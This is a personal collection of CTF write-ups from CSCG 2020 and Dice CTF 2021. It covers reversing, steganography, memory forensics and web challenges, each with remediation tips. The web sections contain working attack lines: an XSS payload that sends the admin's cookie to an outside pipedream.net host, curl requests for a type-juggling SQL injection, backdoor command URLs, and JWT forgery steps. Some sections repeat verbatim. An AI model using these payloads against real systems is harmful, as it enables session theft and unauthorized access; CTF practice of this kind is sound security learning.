CTF Writeups by speckij
Just a place to store my CTF writeups in a readable format :)
CSCG 2020 Writeups by speckij.
Difficulty:
- Baby (Author)
- Baby (Specki)
Notes:
Rabbit Holes:
Solution:
- Open rev1 in Ghidra
- Find
mainfunction - See
strcmpwith hardcoded stringy0u_5h3ll_p455 netcatto the Server and enter password- WIN
Flag
CSCG{ez_pz_reversing_squ33zy}
Remediation:
- Do not hardcode passwords unencrypted
Difficulty:
- Baby (Author)
- Baby (Specki)
Notes:
Rabbit Holes:
Solution:
- Open rev2 in Ghidra
- Find
mainfunction - See
strcmpof Input variable with hardcoded bytes - Input Variable is modified before comparison by while-loop
while (i < (int)sVar2 + -1) { input[i] = input[i] ^ (char)i + 10U; input[i] = input[i] - 2; i = i + 1; } iVar1 = strcmp((char *)input,"lp`7a<qLw\x1ekHopt(f-f*,o}V\x0f\x15J"); - While loop modifies each character by subtracting XOR and subtraction
- Obfuscation can be easily reversed by applying the reverse instructions in reverse order:
void rev3() { char solution[50] = "lp`7a<qLw\x1ekHopt(f-f*,o}V\x0f\x15J"; for (auto i = 0; i < 50; i++) { solution[i] += 2; // Revert subtraction solution[i] = solution[i] ^ (char)i + 10U; // Revert XOR std::cout << solution[i]; // Print password } std::cout << std::endl; } - Reversing obfuscation yiels password:
dyn4m1c_k3y_gen3r4t10n_y34h netcatto the Server and enter password- WIN
Flag
CSCG{pass_1_g3ts_a_x0r_p4ss_2_g3ts_a_x0r_EVERYBODY_GETS_A_X0R}
Remediation:
- Do not hardcode passwords unencrypted
Difficulty:
- Baby (Author)
- Baby (Specki)
Notes:
Rabbit Holes:
Solution:
- Open rev3 in Ghidra
- Find
mainfunction - See
strcmpof Input variable with hardcoded bytes - Input Variable is modified before comparison by while-loop
while (i < (int)sVar2 + -1) { input[i] = input[i] ^ (char)i + 10U; input[i] = input[i] - 2; i = i + 1; } iVar1 = strcmp((char *)input,"lp`7a<qLw\x1ekHopt(f-f*,o}V\x0f\x15J"); - While loop modifies each character with XOR and subtraction
- Obfuscation can be easily reversed by applying the reverse instructions in reverse order:
void rev3() { char solution[50] = "lp`7a<qLw\x1ekHopt(f-f*,o}V\x0f\x15J"; for (auto i = 0; i < 50; i++) { solution[i] += 2; // Revert subtraction solution[i] = solution[i] ^ (char)i + 10U; // Revert XOR std::cout << solution[i]; // Print password } std::cout << std::endl; } - Reversing obfuscation yiels password:
dyn4m1c_k3y_gen3r4t10n_y34h netcatto the Server and enter password- WIN
Flag
CSCG{pass_1_g3ts_a_x0r_p4ss_2_g3ts_a_x0r_EVERYBODY_GETS_A_X0R}
Remediation:
- Do not hardcode passwords unencrypted
Difficulty:
Notes:
- Neo takes the Red pill in the movie
- "You take the blue pill – the story ends, you wake up in your bed and believe whatever you want to believe"
- "You take the red pill – you stay in Wonderland, and I show you how deep the rabbit hole goes."
Rabbit Holes:
- https://github.com/kimci86/bkcrack needs at least 12 Bytes of plaintext to brute-force.
- We only have "\xcfCSCG{" (MSB from CRC is first byte)
- Maybe brute-force other characters? Unlikely in a CTF
- We only have "\xcfCSCG{" (MSB from CRC is first byte)
- Comparison with original sound sample (
reference_quote.wav) does not work- probrably modified? or from another source? online samples are all stereo
Solution:
- Spectogram shows password
Th3-R3D-P1ll? steghide extract -sf matrix.wav -p Th3-R3D-P1ll? -xf output.pngergibt gültigen JFIF Fileoutput.pnghas trailing PKZIP file (Header 50 4B 03 04)- stored in
extracted_from_output.zip
- stored in
extracted_from_output.ziphas password-encoded filesecret.txt- Google Search for "Oktoberfest Nacht" give original Image
- Comparing original image with
output.pngshows differenzes in Lichterkette in bottom of the image- Color encodes Bit
- Manually transposing gives
01101110 00100001 01000011 00110011 01011111 01010000 01010111 00111111(and its complement) - Converting to ASCII gives Password
n!C3_PW?
- Comparing original image with
- Decrypt
secret.txtmit Passwordn!C3_PW?intosecret_decrypt.txt secret_decrypt.txtcontains String6W6?BHW,#BB/FK[?VN@u2e>m8- May be final flag (first and third letter are equal, fourth and last are unequal), but in non-standard encoding or simple substitution cipher
- Trying out different simple encodings/ciphers on cryptii shows ASCII85 is used and flag is given in plaintext
- WIN
Flag
CSCG{St3g4n0_M4s7eR}
Remediation:
Difficulty:
- Easy (Author)
- Baby (Specki)
Notes:
- Many anti-debugging checks. Probably hard to circumvent
- Ghidra does not like DotNet Binaries by default. Disassembly is practically unusable
Rabbit Holes:
Solution:
- Decompile in dnSpy
- Find
ìnitialCheckfunction that validates args - Find hardcoded check comparing input to decryption of encoded constant
- Copy&Paste decription Routine into seperate program(solve.cs), decrypt encoded constant and print to console
- Run reme.dll with password from previous step (
CanIHazFlag?) - WIN
Flag
CSCG{CanIHazFlag?}
Remediation:
- Do not use two-way encryption for securing secrets --> use one-way and only store hash
- Do not hardcode passwords inside decryption function
Difficulty:
- Medium (Author)
- Medium (Specki)
Notes:
- Many anti-debugging checks. Probably hard to circumvent
- Ghidra does not like DotNet Binaries by default. Disassembly is practically unusable
Rabbit Holes:
.GetILAsByteArray()returns different values when copy&pasted into seperate program- Dependent on internal Method Name Tables? --> Those change based on what the compiler likes most during compiling
- Trying to recreate the exact assembly feels impossible. Even when copy&pasting the exact codelines, assembly still reorders stuff (Several hours used on this)
- When reordering functions in Code and compiling values from
GetILAsByteArraydiffer only slightly (+- 5) and differ only on fixed positions (7 total)- Bruteforcing the -15 to +15 range of possible values on all 7 locations does not yield correct key and takes a loong time (w/o optimization)
- Loading the dll into a seperate program is not trivial and requires more C# knowledge
- Debugging dynamically loaded functions is apparently not possible? Breakpoints are skipped
Solution:
- Decompile in dnSpy
- Find
initialCheckfunction that validates args (used for reme_1). Ignore for now - Observations:
- ilAsByteArray created based on Method body from
initialCheckusingGetILAsByteArrayand is used as AES decryption key later onGetILAsByteArrayreturns exact raw assembly bytes from the function, result can be extracted using ByteViewer (e.g. inside Ghidra)
- Memory is searched for hardcoded String
THIS_IS_CSCG_NOT_A_MALWARE. All Memory after this string is then decrypted - Decrypted Data is loaded dynamically and "Check" is called
- ilAsByteArray created based on Method body from
- In Hex Editor String
THIS_IS_CSCG_NOT_A_MALWAREcan be found near the end of the assembly. Entropy graph suggests all data after this string is encrypted- Data can simply be copy-pasted into seperate file
encoded_functionto be easily accessible
- Data can simply be copy-pasted into seperate file
AES_Decryptcan be copy&pasted into seperate program and run on extracted key (bytes frominitialCheckFunction) andencoded_function.- In original program flow this assembly was dynamically loaded and
Checkfunction called on it- Debugging of this dynamically loaded function seems difficult - Breakpoints are ignored
- Observation:
decoded_flag_checkstarts with bytes4D 5A 90 00and includes String "DOS" --> DOS MZ executable format
- Save decrypted data into new file tmp.exe
- can be run and provides
- Decompile tmp.exe via dnSpy. Copy Disassembled Function
Checkintodecrypted_check.txt - Analyze
CheckFunction. It compares input against hardcoded constants- md5 has can easily be looked up in online md5 databases
- other constants are human-readable and can be extracted by hand
- WIN
Flag:
CSCG{n0w_u_know_st4t1c_and_dynamic_dotNet_R3333}
Remediation:
- Do not use program text as encryption key
- Security through obscurity (aka obfuscation) is generally a bad idea
Difficulty:
- Easy (Author)
- Baby (Specki)
Notes:
- Apparently
TrueCryptVolumeEis not encrypted during runtime and subsequently not inside the memorydump
Rabbit Holes:
\Device\HarddiskVolume1\Documents and Settings\CSCG\Desktop\CSCG\cscg.flag.PNGis a false flag
Solution:
- Analyze memory dump with Volatility Framwork
filescanshows some interesting files\Device\TrueCryptVolumeE\password.txt\Device\TrueCryptVolumeE\flag.zip
dumpfilesthe interesting files reveals:password.txtcontains plaintext: "BorlandDelphiIsReallyCool"flag.zipcontains file
- Decrypt file in flag.zip with password from
password.txt - WIN
Flag
CSCG{c4ch3d_p455w0rd_fr0m_0p3n_tru3_cryp1_c0nt41n3r5}
Remediation:
- Do not use WindowsXP in 2020
- Choose encryption methodology in accordance with requirements.
- If files are not needed all the time do not decrypt them in advance
- Do not store passwords in plaintext next to encrypted data. Even on "encrypted volumes" this is a bad idea, as they are decrypted during their lifetime and therefore provide free access to the data!
Difficulty:
- Medium (Author)
- Medium (Specki)
Notes:
- WinXP Virtual Machine is not useful at all. Volatility is much better
Rabbit Holes:
- Data has been recovered from
mspaint.exetemporary buffers in ctfs before writeup- Scanning the memory here does not yield any results, just a bunch of funky art
- 133t5p34k is not strictly defined and not consistent
- characters are difficult to distinguish e.g. 1, l, I, l
- wrong character -> wrong flag
Solution:
- Analyze memory dump with Volatility Framwork
pslistshows interesting processes:CSCG_Delphi.exe--> looks promisingmspaint.exe--> see Rabbit Holes
- Extract Delphi Exe via
procdumpinto1920.exe- Unfortunately exe will not run in any compatibility mode or on WinXP VM
- Use DeDe decompiler to decompile exe
- Decompilation shows
TForm1with titleCrackMe CheckFlagButton can be decompiled into annotated assembly by DeDeCheckFlagmakes references to various hard-coded all-uppercase stringsCheckFlagusesTIdHashMessagDigest5which implements MD5 "Encryption"CheckFlagusesStrUtils.AnsiReverseStringso comparison string is possibly reversed
- Decompilation shows
- Lookup String constants in online Database hashes.com
1efc99b6046a0f2c7e8c7ef9dc416323:dl025db3350b38953836c36dfb359db4e27:kc4rc40a00ca65772d7d102bb03c3a83b1f91:!3mc129bd7796f23b97df994576448caa23:l00hcs017efbc5b1d3fb2d4be8a431fa6d6258:1hp13d
- Strings form valid words when reversed, but do not form a coherent sentence
- Assembly comparing the strings differs, possibly not comparing in order
- Assuming the flag is human-readable there are not many combinations that form a coherent sentence
- Manually reorder strings to form human.readable flag. Add CSCG{} around the flag
- WIN
Flag
CSCG{0ld_sch00l_d31ph1_cr4ck_m3!}
Remediation:
- Do not use MD5 constants as password/key
Dice CTF 2021 writeups by speckij
Difficulty:
Notes:
NONCEis static per deployment- queryParam
nameis not sanitized before
Rabbit Holes:
Solution:
Simple XSS Payload extracting the Cookie from the Admin. Nonce is static and can be hardcoded.
https://babier-csp.dicec.tf/?name=lemon <script nonce=LRGWAXOY98Es0zz0QOVmag==> location.window="http://enk6w2e573qoxoa.m.pipedream.net/%22+document.cookie+%22speckij";
Flag
Remediation:
Notes:
- We can abuse
extended=true in body-parser to type juggle and create interesting errors:
curl --location --request POST 'localhost:3000/login' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'username[]=admin' \
--data-urlencode 'password[test]=hello'
extended=true in body-parser to type juggle and create interesting errors:curl --location --request POST 'localhost:3000/login' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'username[]=admin' \
--data-urlencode 'password[test]=hello'
leads to error:
<pre>TypeError: v.includes is not a function<br> [...]
Rabbit Holes:
qs(used by bodyparser) had some issues with prototype pollution in the past: https://github.com/ljharb/qs/issues/200
Solution
Abusing extended=true in body-parser to parse password parameter as array, replacing the String.includes() with Array.includes() which has a different semantic, allowing us to smuggle in single-quotes to perform a basic SQLi.
curl -L -X POST 'localhost:3000/login'
-H 'Content-Type: application/x-www-form-urlencoded'
--data-urlencode 'username=admin'
--data-urlencode 'password[]=baz'\'' OR 1 = 1 OR '\'''
Flag
Remediation:
Notes:
- We can abuse
extended=truein body-parser to type juggle and create interesting errors:
curl --location --request POST 'localhost:3000/login' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'username[]=admin' \
--data-urlencode 'password[test]=hello'
leads to error:
<pre>TypeError: v.includes is not a function<br> [...]
Rabbit Holes:
qs(used by bodyparser) had some issues with prototype pollution in the past: https://github.com/ljharb/qs/issues/200
Solution
Abusing extended=true in body-parser to parse password parameter as array, replacing the String.includes() with Array.includes() which has a different semantic, allowing us to smuggle in single-quotes to perform a basic SQLi.
curl -L -X POST 'localhost:3000/login'
-H 'Content-Type: application/x-www-form-urlencoded'
--data-urlencode 'username=admin'
--data-urlencode 'password[]=baz'\'' OR 1 = 1 OR '\'''
Flag
Remediation:
Notes:
Solution:
- Dockerfile shows xinitd.conf is used. Can simply be accessed with
xinitd.conf - xinitd.conf references
/init.sh - init.sh references
/webserver.sh - webserver.sh has backdoor for paths starting with
cmd_and runs any command after the underscore as current user. - Flag can be found in the environment variables.
http://diceprectf.meatctf.com:2182/cmd_ls
Dockerfile canvasBackground.js index.html init.sh main.css star.png stars.js webserver.sh xinetd.conf
http://diceprectf.meatctf.com:2182/cmd_env
SHELL=/bin/sh REMOTE_HOST=93.209.73.130 SUDO_GID=0 HOSTNAME=288e8c33244a SUDO_COMMAND=./webserver.sh SUDO_USER=root PWD=/app LOGNAME=pleb HOME=/root FLAG=flag{w3b53rv3r_b4ckd00r} TERM=unknown USER=pleb SHLVL=0 _STDBUF_E=0 _STDBUF_I=0 _STDBUF_O=0 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin SUDO_UID=0 OLDPWD=/ _=/usr/bin/env
Flag
flag{w3b53rv3r_b4ckd00r}
Remediation:
- Do not implement backdoors. Not even if the source is not public.
Difficulty:
Notes:
Rabbit Holes:
- Flag submission did not work so I searched around for another hour trying to find the flag somewhere on the system
Solution:
- Register new account
- Use Directory Traversal on
/avatarsto dump sourcecode- index.js
- avatarmaker.js
- package.json
- .env
- index.js has hardcoded JWT Secrets
- Admin user has note with the flag
- Use https://jwt.io/ to create a new Token with username=admin and given secret
- Get Admin Notes via
/homewith crafted Token - Get Flag from HTTP Response
Flag
Remediation:
Notes:
Solution:
- Dockerfile shows xinitd.conf is used. Can simply be accessed with
xinitd.conf - xinitd.conf references
/init.sh - init.sh references
/webserver.sh - webserver.sh has backdoor for paths starting with
cmd_and runs any command after the underscore as current user. - Flag can be found in the environment variables.
http://diceprectf.meatctf.com:2182/cmd_ls
Dockerfile canvasBackground.js index.html init.sh main.css star.png stars.js webserver.sh xinetd.conf
http://diceprectf.meatctf.com:2182/cmd_env
SHELL=/bin/sh REMOTE_HOST=93.209.73.130 SUDO_GID=0 HOSTNAME=288e8c33244a SUDO_COMMAND=./webserver.sh SUDO_USER=root PWD=/app LOGNAME=pleb HOME=/root FLAG=flag{w3b53rv3r_b4ckd00r} TERM=unknown USER=pleb SHLVL=0 _STDBUF_E=0 _STDBUF_I=0 _STDBUF_O=0 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin SUDO_UID=0 OLDPWD=/ _=/usr/bin/env
Flag
flag{w3b53rv3r_b4ckd00r}
Remediation:
- Do not implement backdoors. Not even if the source is not public.